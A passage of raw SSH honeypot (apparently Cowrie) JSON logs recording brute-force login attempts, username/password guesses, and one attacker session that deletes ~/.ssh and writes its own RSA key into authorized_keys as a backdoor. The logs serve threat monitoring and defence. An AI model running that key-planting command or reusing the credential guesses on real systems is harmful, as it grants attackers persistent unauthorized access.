cm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:20.954451Z","src_ip":"189.217.130.86","session":"d17732b5c9b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azuracast","password":"azuracast123!","message":"login attempt [azuracast/azuracast123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:21.299422Z","src_ip":"189.217.130.86","session":"d17732b5c9b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:22.379114Z","src_ip":"189.217.130.86","session":"d17732b5c9b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":48362,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cc08e83dbbe","protocol":"ssh","message":"New connection: 95.58.255.251:48362 (159.203.135.109:22) [session: 3cc08e83dbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:54.074869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:54.079030Z","src_ip":"95.58.255.251","session":"3cc08e83dbbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:54.249552Z","src_ip":"95.58.255.251","session":"3cc08e83dbbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sklep","password":"sklep1234","message":"login attempt [sklep/sklep1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:54.964216Z","src_ip":"95.58.255.251","session":"3cc08e83dbbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:11:56.136578Z","src_ip":"95.58.255.251","session":"3cc08e83dbbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.91.236.125","src_port":52693,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8d115d3c290","protocol":"ssh","message":"New connection: 200.91.236.125:52693 (159.203.135.109:22) [session: d8d115d3c290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:12:33.388354Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:12:33.398947Z","src_ip":"200.91.236.125","session":"d8d115d3c290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.145.34.78","src_port":32988,"dst_ip":"159.203.135.109","dst_port":22,"session":"faa9390db1f4","protocol":"ssh","message":"New connection: 203.145.34.78:32988 (159.203.135.109:22) [session: faa9390db1f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:12:44.375724Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:12:44.379926Z","src_ip":"203.145.34.78","session":"faa9390db1f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.236.75.64","src_port":59938,"dst_ip":"159.203.135.109","dst_port":22,"session":"26c8c0f2eae3","protocol":"ssh","message":"New connection: 156.236.75.64:59938 (159.203.135.109:22) [session: 26c8c0f2eae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:35.204568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:35.208006Z","src_ip":"156.236.75.64","session":"26c8c0f2eae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:35.368309Z","src_ip":"156.236.75.64","session":"26c8c0f2eae3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"jyb-2025","message":"login attempt [root/jyb-2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:36.041286Z","src_ip":"156.236.75.64","session":"26c8c0f2eae3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:36.389265Z","src_ip":"156.236.75.64","session":"26c8c0f2eae3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:36.392422Z","src_ip":"156.236.75.64","session":"26c8c0f2eae3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:36.395478Z","src_ip":"156.236.75.64","session":"26c8c0f2eae3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:36.558487Z","src_ip":"156.236.75.64","session":"26c8c0f2eae3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:36.952899Z","src_ip":"156.236.75.64","session":"26c8c0f2eae3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:36.955965Z","src_ip":"156.236.75.64","session":"26c8c0f2eae3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:37.121249Z","src_ip":"156.236.75.64","session":"26c8c0f2eae3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:37.125511Z","src_ip":"156.236.75.64","session":"26c8c0f2eae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.236.75.64","src_port":59942,"dst_ip":"159.203.135.109","dst_port":22,"session":"d35185c53c1c","protocol":"ssh","message":"New connection: 156.236.75.64:59942 (159.203.135.109:22) [session: d35185c53c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:37.281715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:37.285696Z","src_ip":"156.236.75.64","session":"d35185c53c1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:37.447622Z","src_ip":"156.236.75.64","session":"d35185c53c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:38.127515Z","src_ip":"156.236.75.64","session":"d35185c53c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:39.292601Z","src_ip":"156.236.75.64","session":"d35185c53c1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.236.75.64","src_port":51012,"dst_ip":"159.203.135.109","dst_port":22,"session":"037d564caced","protocol":"ssh","message":"New connection: 156.236.75.64:51012 (159.203.135.109:22) [session: 037d564caced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:39.454452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:39.458748Z","src_ip":"156.236.75.64","session":"037d564caced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:39.621843Z","src_ip":"156.236.75.64","session":"037d564caced","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:40.310308Z","src_ip":"156.236.75.64","session":"037d564caced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:40.472996Z","src_ip":"156.236.75.64","session":"26c8c0f2eae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:14:40.477498Z","src_ip":"156.236.75.64","session":"037d564caced","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.178.16.179","src_port":51896,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5b31e1a9fab","protocol":"ssh","message":"New connection: 172.178.16.179:51896 (159.203.135.109:22) [session: e5b31e1a9fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:15:19.318097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:15:19.327901Z","src_ip":"172.178.16.179","session":"e5b31e1a9fab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:15:19.357193Z","src_ip":"172.178.16.179","session":"e5b31e1a9fab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ray","password":"Ray123!","message":"login attempt [ray/Ray123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:15:19.455590Z","src_ip":"172.178.16.179","session":"e5b31e1a9fab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:15:20.482270Z","src_ip":"172.178.16.179","session":"e5b31e1a9fab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.231.14.54","src_port":56736,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cb79ad3eb36","protocol":"ssh","message":"New connection: 103.231.14.54:56736 (159.203.135.109:22) [session: 0cb79ad3eb36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:16:35.227887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:16:35.233766Z","src_ip":"103.231.14.54","session":"0cb79ad3eb36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:16:35.460647Z","src_ip":"103.231.14.54","session":"0cb79ad3eb36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wilson","password":"wilsonpass","message":"login attempt [wilson/wilsonpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:16:37.089788Z","src_ip":"103.231.14.54","session":"0cb79ad3eb36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:16:38.326978Z","src_ip":"103.231.14.54","session":"0cb79ad3eb36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.217.130.86","src_port":3693,"dst_ip":"159.203.135.109","dst_port":22,"session":"77dd2c18c4e2","protocol":"ssh","message":"New connection: 189.217.130.86:3693 (159.203.135.109:22) [session: 77dd2c18c4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:17:28.487203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:17:28.492428Z","src_ip":"189.217.130.86","session":"77dd2c18c4e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","ke